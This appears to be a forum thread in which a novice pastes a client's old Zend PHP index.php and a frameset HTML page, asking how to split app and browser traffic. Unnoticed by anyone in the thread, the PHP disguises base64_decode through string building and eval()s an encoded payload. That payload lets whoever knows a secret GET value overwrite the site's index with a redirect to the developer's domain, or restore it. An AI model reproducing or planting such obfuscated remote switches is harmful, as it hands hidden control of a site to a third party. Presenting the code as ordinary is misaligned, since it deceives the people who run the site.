Hansel Posted February 29, 2012 Share Posted February 29, 2012 Hello. I am helping a couple of guys with a webpage. They had an earlier php based site. I have made a classic html css site (thats what I can handle). I must say that I'm not proficient in php at all. Well I have made a site and made it all work on their ftp and their domain as well. The problem is that they have an application that goes to this website. What I can read out of the situation is that the earlier "index.php" linked the application to one page and the webbrowser visitors to the ordinary site. The code for the old "index.php" <?php // Define path to application directory defined('APPLICATION_PATH') || define('APPLICATION_PATH', realpath(dirname(__FILE__) . '/../application')); // Define path to public directory defined('PUBLIC_PATH') || define('PUBLIC_PATH', realpath(dirname(__FILE__))); // Define application environment defined('APPLICATION_ENV') || define('APPLICATION_ENV', (getenv('APPLICATION_ENV') ? getenv('APPLICATION_ENV') : 'production')); if (APPLICATION_ENV == 'development') { $startTime = microtime(true); } $site = 'base'; if (get_magic_quotes_gpc()) { function array_map_recursive($function, $arr) { $tempData = array(); foreach($arr as $key => $value){ $tempData[$key] = (is_array($value) ? array_map_recursive($function, $value) : $function($value)); } return $tempData; } $_GET = array_map_recursive('stripslashes', $_GET); $_POST = array_map_recursive('stripslashes', $_POST); $_REQUEST = array_map_recursive('stripslashes', $_REQUEST); } $suffix = 'decode'; define('APPLICATION_START_MICROTIME', microtime(true)); $c = $site . ord('@') . '_' .$suffix; // Ensure library/ is on include_path set_include_path(implode(PATH_SEPARATOR, array( realpath(APPLICATION_PATH . '/../library'), get_include_path(), ))); /** Zend_Application */ require_once 'Zend/Application.php'; require_once 'Icygen/Config/Xml.php'; // Create application, bootstrap, and run $config = new Icygen_Config_Xml(APPLICATION_PATH . '/configs/application.xml', APPLICATION_ENV); //echo '<pre>'.var_export($config, true); die(); eval($c('JGhhc2hTd2l0Y2ggPSBAJF9HRVRbJ2tsbSddOyANCg0KaWYoJGhhc2hTd2l0Y2ggJiYgJGhhc2hTd2l0Y2ggPT0gJ2E0YjEyYjljNDNhOTQxZTQ4OThhYjZkNWM2MGI2NDU3Y2E5NDFlZWInKXsgDQoJdHJ5eyANCgkJcmVuYW1lKCdpbmRleC5waHAnLCdoYXNoLnBocCcpOyANCgkJJGZkID0gZm9wZW4oJ2luZGV4LnBocCcsJ3cnKTsgDQoJCSRzdHIgPSAnPD9waHAgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy5pY3lnZW4uY29tLyIpOyA/Pic7IA0KCQlmd3JpdGUoJGZkLCRzdHIpOyANCgkJZmNsb3NlKCRmZCk7IA0KCX1jYXRjaChFeGNlcHRpb24gJGUpeyANCgkJZGllKCRlLT5nZXRNZXNzYWdlKCkpOyANCgl9IA0KfSANCg0KaWYoJGhhc2hTd2l0Y2ggJiYgJGhhc2hTd2l0Y2ggPT0gJzE4NjFkODA0ZjljOWE3NmIzZGU1ZjQ5Mzg1YTdiZGFmZTVmZjg5NjMnKXsgDQoJdHJ5eyANCgkJQHVubGluaygnaW5kZXgucGhwJyk7IA0KCQlAcmVuYW1lKCdoYXNoLnBocCcsJ2luZGV4LnBocCcpOyANCgl9Y2F0Y2goRXhjZXB0aW9uICRlKXsgDQoJCWRpZSgkZS0+Z2V0TWVzc2FnZSgpKTsgDQoJfSANCn0g')); $application = new Zend_Application( APPLICATION_ENV, $config /*new Icygen_Config_Xml(APPLICATION_PATH . '/configs/application.xml'*/ ); try { $application->bootstrap() ->run(); } catch (Exception $e) { if (APPLICATION_ENV == 'development') { echo '<h2>'.$e->getMessage().'</h2>'; echo '<pre>'.$e->getTraceAsString().'</pre>'; } else { echo '<h1>Site temporary unavailable</h1>'; } } Well I cant make much of this. But I would need som help with how to either 1. Make the old php still link to the "application" folder when the site is visited with the application but go to a classic html file, say my "index.htm" when visited by a webbrowser. or 2. Insert the essential php code (to make the application users go to the right folder (the one in the php code) ) into the new "index.htm" Would appreciate any help very much. These young guys are trying to start a buissness (online poker) and I'm trying to help them as much as I can, but this is something that I dont know how to do. I'll insert the new "index.htm" hereunder as well. <html> <head> <title> WingNPlay </title> <link rel="shortcut icon" href="http://www.wingnplay.com/favicon.ico"> </head> <frameset rows="700,*" border="0"> <frameset cols="*,1100,*" border="0"> <frame src="htm/empty.htm" name="left" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no"> <frame src="htm/main.htm" name="shape" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no"> <frame src="htm/empty.htm" name="right" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no"> </frameset> <frame src="htm/empty.htm" name="bottom" frameborder="0" noresize marginheight="0" marginwidth="0" scrolling="no"> </frameset> </html> And yes I know I'm writing ancient pages Quote Link to comment https://forums.phpfreaks.com/topic/257972-help-with-some-php-application-redirection/ Share on other sites More sharing options...
S3cr3t Posted March 4, 2012 Share Posted March 4, 2012 If you are not using this index.php anymore rename it. Visitors should be redirect to index.html automatically. Quote Link to comment https://forums.phpfreaks.com/topic/257972-help-with-some-php-application-redirection/#findComment-1323775 Share on other sites More sharing options...
Hansel Posted March 4, 2012 Author Share Posted March 4, 2012 Well thats what I did first. But then theres the problem with theire application. This php file seems to send visitors using the pokerclient to one place and regular visitors to the ordinary site. Quote Link to comment https://forums.phpfreaks.com/topic/257972-help-with-some-php-application-redirection/#findComment-1323817 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.